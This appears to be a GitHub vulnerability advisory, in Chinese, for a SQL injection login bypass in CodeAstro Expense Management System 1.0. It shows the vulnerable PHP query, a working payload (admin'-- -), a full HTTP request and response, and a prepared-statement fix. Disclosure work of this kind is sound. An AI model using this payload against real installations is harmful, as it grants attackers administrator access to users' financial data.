Harshsanghvi108/CVE-2026-PENDING-EMS

GitHub: Harshsanghvi108/CVE-2026-PENDING-EMS

该项目披露了 CodeAstro 支出管理系统 1.0 中登录接口存在的 SQL 注入漏洞,并提供了完整的概念验证与修复方案。

Stars: 0 | Forks: 0

# CVE-2026-PENDING — CodeAstro Expense Management System 1.0 ## SQL 注入 — 身份验证绕过 ## 详情 | 字段 | 信息 | |---|---| | **CVE ID** | 待 MITRE 分配 | | **产品** | Expense Management System v1.0 | | **供应商** | CodeAstro | | **供应商 URL** | https://codeastro.com/expense-management-system-in-php-with-source-code/ | | **漏洞类型** | SQL 注入 → 身份验证绕过 | | **受影响文件** | index.php | | **受影响参数** | username (POST) | | **CWE** | CWE-89 | | **CVSSv3 评分** | 9.8 严重 | | **CVSSv3 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **发现者** | Harsh Sanghvi | | **发现日期** | 2026 年 7 月 31 日 | | **通知供应商** | 2026 年 7 月 31 日 | | **披露截止日期** | 2026 年 10 月 29 日 | ## 描述 CodeAstro Expense Management System v1.0 的 index.php 登录表单中存在 SQL 注入漏洞。`username` POST 参数未经任何清理或未使用预处理语句,便直接拼接到 MySQL 查询中。未经身份验证的远程攻击者可以绕过登录机制,并在不提供任何有效凭据的情况下获取完全的管理员权限。 ## 漏洞代码 **文件:** `index.php` ``` $username = $_POST["username"]; $password = $_POST["password"]; $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; $result = mysqli_query($conn, $query); ``` ## 攻击原理 **正常查询(合法用户):** ``` SELECT * FROM users WHERE username='admin' AND password='admin123' ``` **注入查询(攻击者):** ``` SELECT * FROM users WHERE username='admin'-- -' AND password='anything' ``` `-- -` 是 SQL 注释。MySQL 会忽略其后的所有内容。密码检查被完全移除。MySQL 返回 admin 记录,从而授予完全访问权限。 ## 概念验证 **步骤 1** — 打开登录页面: ``` http://target/expense/index.php ``` **步骤 2** — 输入以下值: ``` Username : admin' -- - Password : anything ``` **步骤 3** — 点击登录 **结果:** 无需任何有效凭据即被授予完整的管理员仪表盘访问权限。 **HTTP 请求:** ``` POST /expense/index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=admin'-- -&password=anything&login=1 ``` **HTTP 响应:** ``` HTTP/1.1 302 Found Location: dashboard.php Set-Cookie: PHPSESSID=... ``` ## 影响 - 无需任何凭据即可完全绕过身份验证 - 获得对所有应用程序功能的完全管理访问权限 - 访问所有用户的财务记录和支出数据 - 无需特殊工具 — 任何浏览器均可利用 - 无需身份验证 — 互联网上的任何人都可对其进行利用 ## 修复建议 ``` $stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); $_SESSION["user_id"] = $row["id"]; header("Location: dashboard.php"); exit(); } ``` ## 时间线 | 日期 | 事件 | |---|---| | 2026 年 7 月 31 日 | 发现漏洞 | | 2026 年 7 月 31 日 | 通过 cveform-legacy.mitre.org 报告给 MITRE | | 2026 年 7 月 31 日 | 通过 CodeAstro 联系表单通知供应商 | | 待定 | MITRE 分配 CVE ID | | 2026 年 10 月 29 日 | 公开披露截止日期 | ## 参考链接 - 供应商:https://codeastro.com/expense-management-system-in-php-with-source-code/ - CWE-89:https://cwe.mitre.org/data/definitions/89.html - OWASP SQL 注入:https://owasp.org/www-community/attacks/SQL_Injection ## 发现者 **Harsh D Sanghvi** 独立安全研究员 GitHub:https://github.com/Harshsanghvi108
标签:CISA项目, Web安全, 多模态安全, 蓝队分析, 认证绕过